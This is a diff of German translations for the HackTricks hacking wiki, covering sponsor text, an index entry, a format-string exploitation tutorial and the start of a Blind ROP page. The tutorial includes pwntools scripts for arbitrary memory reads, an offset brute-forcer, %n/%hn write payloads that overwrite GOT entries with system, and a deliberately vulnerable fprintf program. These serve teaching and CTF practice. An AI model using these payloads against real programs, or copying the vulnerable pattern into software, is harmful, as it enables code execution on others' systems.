Translated ['README.md', 'binary-exploitation/format-strings/README.md',
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 5.5 KiB |
Before Width: | Height: | Size: 5.5 KiB After Width: | Height: | Size: 33 KiB |
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 10 KiB |
Before Width: | Height: | Size: 10 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 32 KiB |
28
README.md
|
@ -8,7 +8,7 @@ _Hacktricks Logos & Motion Design von_ [_@ppiernacho_](https://www.instagram.com
|
|||
**Willkommen im Wiki, wo du jeden Hack-Trick/Technik/ was auch immer finden wirst, den ich aus CTFs, realen Apps, Forschungsarbeiten und Nachrichten gelernt habe.**
|
||||
{% endhint %}
|
||||
|
||||
Um loszulegen, folge dieser Seite, auf der du den **typischen Ablauf** findest, dem du folgen solltest, wenn du **eine oder mehrere Maschinen pentestest:**
|
||||
Um loszulegen, folge dieser Seite, auf der du den **typischen Ablauf** findest, den **du befolgen solltest, wenn du** ein oder mehrere **Maschinen pentesten möchtest:**
|
||||
|
||||
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
||||
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||
|
@ -20,7 +20,7 @@ Um loszulegen, folge dieser Seite, auf der du den **typischen Ablauf** findest,
|
|||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) ist ein großartiges Cybersicherheitsunternehmen, dessen Slogan **HACK THE UNHACKABLE** lautet. Sie führen ihre eigenen Forschungen durch und entwickeln ihre eigenen Hacking-Tools, um **mehrere wertvolle Cybersicherheitsdienste** wie Pentests, Red Teams und Schulungen anzubieten.
|
||||
[**STM Cyber**](https://www.stmcyber.com) ist ein großartiges Cybersicherheitsunternehmen, dessen Motto **HACK THE UNHACKABLE** lautet. Sie führen ihre eigenen Forschungen durch und entwickeln ihre eigenen Hacking-Tools, um **mehrere wertvolle Cybersicherheitsdienste** wie Pentesting, Red Teams und Schulungen anzubieten.
|
||||
|
||||
Du kannst ihren **Blog** unter [**https://blog.stmcyber.com**](https://blog.stmcyber.com) überprüfen.
|
||||
|
||||
|
@ -44,7 +44,7 @@ Du kannst ihren **Blog** unter [**https://blog.stmcyber.com**](https://blog.stmc
|
|||
|
||||
**Intigriti** ist die **Nummer 1 in Europa** für ethisches Hacken und **Bug-Bounty-Plattform**.
|
||||
|
||||
**Bug-Bounty-Tipp**: **Melde dich an** bei **Intigriti**, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde**! Trete uns noch heute unter [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) bei und verdiene Prämien von bis zu **100.000 $**!
|
||||
**Bug-Bounty-Tipp**: **Melde dich an** bei **Intigriti**, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker** erstellt wurde! Schließe dich uns noch heute unter [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) an und verdiene Prämien von bis zu **100.000 $**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -57,7 +57,7 @@ Du kannst ihren **Blog** unter [**https://blog.stmcyber.com**](https://blog.stmc
|
|||
\
|
||||
Verwende [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um einfach Workflows zu erstellen und zu **automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.
|
||||
|
||||
Erhalte noch heute Zugriff:
|
||||
Erhalte noch heute Zugang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -73,7 +73,7 @@ Trete dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Serve
|
|||
* **Echtzeit-Hack-News:** Bleibe mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke auf dem Laufenden
|
||||
* **Neueste Ankündigungen:** Bleibe über die neuesten Bug-Bounties und wichtige Plattformupdates informiert
|
||||
|
||||
**Trete uns bei** auf [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginne noch heute mit Top-Hackern zusammenzuarbeiten!
|
||||
**Trete uns bei auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginne noch heute mit Top-Hackern zusammenzuarbeiten!
|
||||
|
||||
***
|
||||
|
||||
|
@ -81,7 +81,7 @@ Trete dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Serve
|
|||
|
||||
<figure><img src=".gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofortige Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führe einen vollständigen Penetrationstest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Exploit-Module, um ihnen etwas Zeit zu geben, tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
**Sofort einsatzbereite Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führe einen vollständigen Penetrationstest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Exploit-Module, um ihnen etwas Zeit zu geben, tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -89,16 +89,16 @@ Trete dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Serve
|
|||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SerpApi bietet schnelle und einfache Echtzeit-APIs zum **Zugriff auf Suchmaschinenergebnisse**. Sie durchsuchen Suchmaschinen, handhaben Proxies, lösen Captchas und analysieren alle strukturierten Daten für dich.
|
||||
|
||||
Ein Abonnement für einen der SerpApi-Pläne beinhaltet den Zugriff auf über 50 verschiedene APIs zum Scraping verschiedener Suchmaschinen, einschließlich Google, Bing, Baidu, Yahoo, Yandex und mehr.\
|
||||
Im Gegensatz zu anderen Anbietern **scraped SerpApi nicht nur organische Ergebnisse**. SerpApi-Antworten enthalten konsistent alle Anzeigen, Inline-Bilder und -Videos, Wissensgraphen und andere Elemente und Funktionen, die in den Suchergebnissen vorhanden sind.
|
||||
Ein Abonnement eines der SerpApi-Pläne beinhaltet den Zugriff auf über 50 verschiedene APIs zum Scraping verschiedener Suchmaschinen, einschließlich Google, Bing, Baidu, Yahoo, Yandex und mehr.\
|
||||
Im Gegensatz zu anderen Anbietern **kratzt SerpApi nicht nur organische Ergebnisse ab**. SerpApi-Antworten enthalten konsistent alle Anzeigen, Inline-Bilder und -Videos, Wissensgraphen und andere Elemente und Funktionen, die in den Suchergebnissen vorhanden sind.
|
||||
|
||||
Aktuelle SerpApi-Kunden sind **Apple, Shopify und GrubHub**.\
|
||||
Für weitere Informationen besuche ihren [**Blog**](https://serpapi.com/blog/)**,** oder probiere ein Beispiel in ihrem [**Spielplatz**](https://serpapi.com/playground)**.**\
|
||||
Du kannst **hier ein kostenloses Konto** [**erstellen**](https://serpapi.com/users/sign\_up)**.**
|
||||
Du kannst **hier ein kostenloses Konto erstellen** [**hier**](https://serpapi.com/users/sign\_up)**.**
|
||||
|
||||
***
|
||||
|
||||
|
@ -125,7 +125,7 @@ Zusätzlich zu dem oben Genannten ist WebSec auch ein **engagierter Unterstütze
|
|||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
## Lizenz & Haftungsausschluss
|
||||
|
||||
Überprüfen Sie diese in:
|
||||
Überprüfen Sie diese unter:
|
||||
|
||||
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
|
||||
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
|
||||
|
@ -137,10 +137,10 @@ Zusätzlich zu dem oben Genannten ist WebSec auch ein **engagierter Unterstütze
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -698,6 +698,7 @@
|
|||
* [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
* [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||
* [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
* [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
||||
* [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||
* [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||
* [Ret2esp / Ret2reg](binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md)
|
||||
|
|
|
@ -2,11 +2,11 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich den [**offiziellen PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**HackTricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**HackTricks-Cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
|
||||
|
@ -14,9 +14,11 @@
|
|||
|
||||
## Grundlegende Informationen
|
||||
|
||||
In C ist **`printf`** eine Funktion, die verwendet werden kann, um einen **String zu drucken**. Der **erste Parameter**, den diese Funktion erwartet, ist der **rohe Text mit den Formatierern**. Die **folgenden erwarteten Parameter** sind die **Werte**, die die **Formatierer** des Rohtexts **ersetzen** sollen.
|
||||
In C ist **`printf`** eine Funktion, die verwendet werden kann, um einen **String auszugeben**. Der **erste Parameter**, den diese Funktion erwartet, ist der **rohe Text mit den Formatierern**. Die **folgenden erwarteten Parameter** sind die **Werte**, die die **Formatierer** des Rohtexts **ersetzen** sollen.
|
||||
|
||||
Die Verwundbarkeit tritt auf, wenn ein **Angreifertext als erster Argument** dieser Funktion verwendet wird. Der Angreifer kann einen **speziellen Eingabe missbrauchen**, um die **Fähigkeiten der printf-Formatzeichenfolge** zu nutzen, um Daten zu lesen und **in jede Adresse zu schreiben (lesbar/schreibbar)**. Auf diese Weise kann er **beliebigen Code ausführen**.
|
||||
Andere anfällige Funktionen sind **`sprintf()`** und **`fprintf()`**.
|
||||
|
||||
Die Verwundbarkeit tritt auf, wenn ein **Angreifertext als erster Argument** an diese Funktion übergeben wird. Der Angreifer kann einen **speziellen Eingabe missbrauchen**, um die **Fähigkeiten der printf-Formatzeichenfolge** zu nutzen und beliebige Daten an **beliebiger Adresse zu lesen und zu schreiben (lesbar/schreibbar)**. Auf diese Weise kann er **beliebigen Code ausführen**.
|
||||
|
||||
#### Formatierer:
|
||||
```bash
|
||||
|
@ -24,6 +26,7 @@ Die Verwundbarkeit tritt auf, wenn ein **Angreifertext als erster Argument** die
|
|||
%d —> Entire
|
||||
%u —> Unsigned
|
||||
%s —> String
|
||||
%p —> Pointer
|
||||
%n —> Number of written bytes
|
||||
%hn —> Occupies 2 bytes instead of 4
|
||||
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
||||
|
@ -45,13 +48,26 @@ printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
|||
```c
|
||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||
```
|
||||
* fprintf anfällig:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
char *user_input;
|
||||
user_input = argv[1];
|
||||
FILE *output_file = fopen("output.txt", "w");
|
||||
fprintf(output_file, user_input); // The user input cna include formatters!
|
||||
fclose(output_file);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### **Zugriff auf Zeiger**
|
||||
|
||||
Das Format **`%<n>$x`**, wobei `n` eine Zahl ist, ermöglicht es printf anzuzeigen, den n-ten Parameter (vom Stack) auszuwählen. Wenn Sie also den vierten Parameter vom Stack mit printf lesen möchten, könnten Sie Folgendes tun:
|
||||
Das Format **`%<n>$x`**, wobei `n` eine Zahl ist, ermöglicht es printf anzuweisen, den n-ten Parameter (vom Stack) auszuwählen. Wenn Sie also den vierten Parameter vom Stack mit printf lesen möchten, könnten Sie Folgendes tun:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
und Sie würden vom ersten bis zum vierten Parameter lesen.
|
||||
und Sie würden vom ersten bis zum vierten Parameter lesen.
|
||||
|
||||
Oder Sie könnten Folgendes tun:
|
||||
```c
|
||||
|
@ -59,7 +75,7 @@ printf("$4%x")
|
|||
```
|
||||
und lesen Sie direkt den vierten.
|
||||
|
||||
Beachten Sie, dass der Angreifer den `pr`**`intf`-Parameter kontrolliert, was im Grunde bedeutet, dass** seine Eingabe im Stapel ist, wenn `printf` aufgerufen wird, was bedeutet, dass er spezifische Speicheradressen im Stapel schreiben könnte.
|
||||
Beachten Sie, dass der Angreifer den `pr`**`intf`-Parameter kontrolliert, was im Grunde bedeutet, dass** seine Eingabe im Stapel liegt, wenn `printf` aufgerufen wird, was bedeutet, dass er spezifische Speicheradressen im Stapel schreiben könnte.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ein Angreifer, der diese Eingabe kontrolliert, kann **beliebige Adressen im Stapel hinzufügen und `printf` dazu bringen, darauf zuzugreifen**. Im nächsten Abschnitt wird erläutert, wie dieses Verhalten genutzt werden kann.
|
||||
|
@ -67,13 +83,13 @@ Ein Angreifer, der diese Eingabe kontrolliert, kann **beliebige Adressen im Stap
|
|||
|
||||
## **Beliebiges Lesen**
|
||||
|
||||
Es ist möglich, den Formatter **`$n%s`** zu verwenden, um **`printf`** die **Adresse** zu erhalten, die sich an der **n-Position** befindet, und sie dann **als Zeichenfolge auszugeben** (ausgeben, bis eine 0x00 gefunden wird). Wenn die Basisadresse der Binärdatei **`0x8048000`** ist und wir wissen, dass die Benutzereingabe in der 4. Position im Stapel beginnt, ist es möglich, den Anfang der Binärdatei mit auszugeben:
|
||||
Es ist möglich, den Formatter **`%n$s`** zu verwenden, um **`printf`** die **Adresse** zu erhalten, die sich an der **n-Position** befindet, und sie dann zu **drucken, als ob es ein String wäre** (drucken, bis eine 0x00 gefunden wird). Wenn die Basisadresse der Binärdatei **`0x8048000`** ist und wir wissen, dass die Benutzereingabe an der 4. Position im Stapel beginnt, ist es möglich, den Anfang der Binärdatei mit zu drucken:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process('./bin')
|
||||
|
||||
payload = b'%6$p' #4th param
|
||||
payload = b'%6$s' #4th param
|
||||
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
|
||||
payload += p32(0x8048000) #6th param
|
||||
|
||||
|
@ -81,35 +97,79 @@ p.sendline(payload)
|
|||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Beachten Sie, dass Sie die Adresse 0x8048000 nicht am Anfang der Eingabe platzieren können, da die Zeichenkette am Ende dieser Adresse mit 0x00 abgeschnitten wird.
|
||||
Beachten Sie, dass Sie die Adresse 0x8048000 nicht am Anfang der Eingabe platzieren können, da die Zeichenfolge am Ende dieser Adresse mit 0x00 abgeschnitten wird.
|
||||
{% endhint %}
|
||||
|
||||
## **Willkürliches Schreiben**
|
||||
### Offset finden
|
||||
|
||||
Der Formatter **`$<num>%n`** schreibt die **Anzahl der geschriebenen Bytes** in die **angegebene Adresse** im \<num> Parameter im Stack. Wenn ein Angreifer so viele Zeichen wie möglich mit printf schreiben kann, kann er **`$<num>%n`** dazu bringen, eine beliebige Zahl an einer beliebigen Adresse zu schreiben.
|
||||
Um den Offset für Ihre Eingabe zu finden, könnten Sie 4 oder 8 Bytes (`0x41414141`) senden, gefolgt von **`%1$x`** und den Wert **erhöhen**, bis die `A's` zurückgegeben werden.
|
||||
|
||||
Glücklicherweise ist es nicht erforderlich, 9999 "A"s zur Eingabe hinzuzufügen, um die Zahl 9999 zu schreiben. Es ist möglich, den Formatter **`%.<num-write>%<num>$n`** zu verwenden, um die Zahl **`<num-write>`** in die **Adresse zu schreiben, die durch die Position `num`** angegeben ist.
|
||||
<details>
|
||||
|
||||
<summary>Brute-Force-Printf-Offset</summary>
|
||||
```python
|
||||
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
|
||||
|
||||
from pwn import *
|
||||
|
||||
# Iterate over a range of integers
|
||||
for i in range(10):
|
||||
# Construct a payload that includes the current integer as offset
|
||||
payload = f"AAAA%{i}$x".encode()
|
||||
|
||||
# Start a new process of the "chall" binary
|
||||
p = process("./chall")
|
||||
|
||||
# Send the payload to the process
|
||||
p.sendline(payload)
|
||||
|
||||
# Read and store the output of the process
|
||||
output = p.clean()
|
||||
|
||||
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
|
||||
if b"41414141" in output:
|
||||
# If the string is found, log the success message and break out of the loop
|
||||
log.success(f"User input is at offset : {i}")
|
||||
break
|
||||
|
||||
# Close the process
|
||||
p.close()
|
||||
```
|
||||
</details>
|
||||
|
||||
### Wie nützlich
|
||||
|
||||
Arbiträre Lesevorgänge können nützlich sein, um:
|
||||
|
||||
* **Den** **Binärcode** aus dem Speicher zu **dumpen**
|
||||
* **Auf spezifische Speicherbereiche zuzugreifen, in denen sensible** **Informationen** gespeichert sind (wie Prüfsummen, Verschlüsselungsschlüssel oder benutzerdefinierte Passwörter wie in dieser [**CTF-Herausforderung**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
|
||||
## **Arbiträres Schreiben**
|
||||
|
||||
Der Formatter **`$<num>%n`** **schreibt** die **Anzahl der geschriebenen Bytes** in die **angegebene Adresse** im \<num> Parameter im Stapel. Wenn ein Angreifer so viele Zeichen wie möglich mit printf schreiben kann, wird er in der Lage sein, **`$<num>%n`** dazu zu bringen, eine beliebige Zahl an einer beliebigen Adresse zu schreiben.
|
||||
|
||||
Glücklicherweise ist es nicht erforderlich, 9999 "A"s zur Eingabe hinzuzufügen, um die Zahl 9999 zu schreiben. Stattdessen ist es möglich, den Formatter **`%.<num-write>%<num>$n`** zu verwenden, um die Zahl **`<num-write>`** in die **Adresse zu schreiben, auf die die Position `num` zeigt**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
Jedoch ist zu beachten, dass normalerweise zur Angabe einer Adresse wie `0x08049724` (was eine RIESIGE Zahl ist, um sie auf einmal zu schreiben) **`$hn`** anstelle von `$n` verwendet wird. Dies ermöglicht es, **nur 2 Bytes zu schreiben**. Daher wird dieser Vorgang zweimal durchgeführt, einmal für die höchsten 2 Bytes der Adresse und ein weiteres Mal für die niedrigeren.
|
||||
Jedoch ist zu beachten, dass normalerweise zur Angabe einer Adresse wie `0x08049724` (was eine RIESIGE Zahl ist, um sie auf einmal zu schreiben), **`$hn`** anstelle von `$n` verwendet wird. Dies ermöglicht es, **nur 2 Bytes zu schreiben**. Daher wird diese Operation zweimal durchgeführt, einmal für die höchsten 2 Bytes der Adresse und ein weiteres Mal für die niedrigeren.
|
||||
|
||||
Daher ermöglicht diese Schwachstelle das **Schreiben beliebiger Daten an beliebige Adressen (beliebiges Schreiben)**.
|
||||
Daher ermöglicht diese Schwachstelle, **beliebige Daten an beliebige Adressen zu schreiben (beliebiges Schreiben)**.
|
||||
|
||||
In diesem Beispiel soll das Ziel sein, die **Adresse** einer **Funktion** in der **GOT-Tabelle** zu **überschreiben**, die später aufgerufen wird. Obwohl dies auch andere Techniken zum Ausführen beliebiger Schreibvorgänge missbrauchen könnte:
|
||||
In diesem Beispiel soll das Ziel sein, die **Adresse** einer **Funktion** in der **GOT-Tabelle** zu **überschreiben**, die später aufgerufen wird. Obwohl dies auch andere Techniken zum Ausführen von beliebigem Code durch beliebiges Schreiben ausnutzen könnte:
|
||||
|
||||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Wir werden eine **Funktion überschreiben**, die ihre **Argumente** vom **Benutzer erhält**, und sie auf die **`system`**-**Funktion** umleiten.\
|
||||
Wir werden eine **Funktion überschreiben**, die ihre **Argumente** vom **Benutzer erhält** und sie auf die **`system`**-**Funktion** zeigt.\
|
||||
Wie bereits erwähnt, sind in der Regel 2 Schritte erforderlich, um die Adresse zu schreiben: Sie schreiben zuerst 2 Bytes der Adresse und dann die anderen 2. Dazu wird **`$hn`** verwendet.
|
||||
|
||||
* **HOB** bezieht sich auf die 2 höheren Bytes der Adresse
|
||||
* **LOB** bezieht sich auf die 2 niedrigeren Bytes der Adresse
|
||||
* **HOB** wird für die 2 höheren Bytes der Adresse aufgerufen
|
||||
* **LOB** wird für die 2 niedrigeren Bytes der Adresse aufgerufen
|
||||
|
||||
Dann, aufgrund der Funktionsweise von Formatstrings, müssen Sie zuerst das kleinere der beiden \[HOB, LOB] schreiben und dann das andere.
|
||||
Dann, aufgrund der Funktionsweise von Formatstrings, müssen Sie zuerst das kleinere von \[HOB, LOB] schreiben und dann das andere.
|
||||
|
||||
Wenn HOB < LOB\
|
||||
`[Adresse+2][Adresse]%.[HOB-8]x%[Offset]\$hn%.[LOB-HOB]x%[Offset+1]`
|
||||
|
@ -160,9 +220,10 @@ Es ist möglich, die Schreibaktionen einer Format-String-Schwachstelle zu missbr
|
|||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
|
||||
* 32 Bit, kein Relro, kein Canary, NX, kein PIE, grundlegende Verwendung von Format-Strings zum Auslesen der Flagge vom Stack (keine Notwendigkeit, den Ausführungsfluss zu ändern)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||
* 32 Bit, Relro, kein Canary, NX, kein PIE, Format-String zum Überschreiben der Adresse `fflush` mit der Win-Funktion (ret2win)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||
* 32 Bit, Relro, kein Canary, NX, kein PIE, Format-String zum Schreiben einer Adresse innerhalb von `main` in `.fini_array` (damit der Fluss 1 Mal mehr zurückkehrt) und Schreiben der Adresse von `system` in die GOT-Tabelle, die auf `strlen` zeigt. Wenn der Fluss zu `main` zurückkehrt, wird `strlen` mit Benutzereingabe ausgeführt und zeigt auf `system`, um die übergebenen Befehle auszuführen.
|
||||
* 32 Bit, Relro, kein Canary, NX, kein PIE, Format-String zum Schreiben einer Adresse innerhalb von `main` in `.fini_array` (damit der Fluss 1 Mal mehr zurückkehrt) und Schreiben der Adresse zu `system` in der GOT-Tabelle, die auf `strlen` zeigt. Wenn der Fluss zu `main` zurückkehrt, wird `strlen` mit Benutzereingabe ausgeführt und zeigt auf `system`, es werden die übergebenen Befehle ausgeführt.
|
||||
|
|
|
@ -0,0 +1,134 @@
|
|||
# BROP - Blind Return Oriented Programming
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
|
||||
</details>
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Das Ziel dieses Angriffs ist es, **einen ROP über einen Pufferüberlauf ohne Informationen über das verwundbare Binärprogramm zu missbrauchen**.\
|
||||
Dieser Angriff basiert auf dem folgenden Szenario:
|
||||
|
||||
* Eine Stapelverwundbarkeit und das Wissen, wie man sie auslöst.
|
||||
* Eine Serveranwendung, die nach einem Absturz neu startet.
|
||||
|
||||
## Angriff
|
||||
|
||||
### **1. Finden Sie den verwundbaren Offset**, indem Sie ein weiteres Zeichen senden, bis eine Fehlfunktion des Servers erkannt wird
|
||||
|
||||
### **2. Brute-Force-Canary**, um ihn zu **leaken**
|
||||
|
||||
### **3. Brute-Force gespeicherte RBP- und RIP-Adressen** im Stapel, um sie zu **leaken**
|
||||
|
||||
Weitere Informationen zu diesen Prozessen finden Sie [hier (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) und [hier (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
|
||||
|
||||
### **4. Finden Sie das Stop-Gadget**
|
||||
|
||||
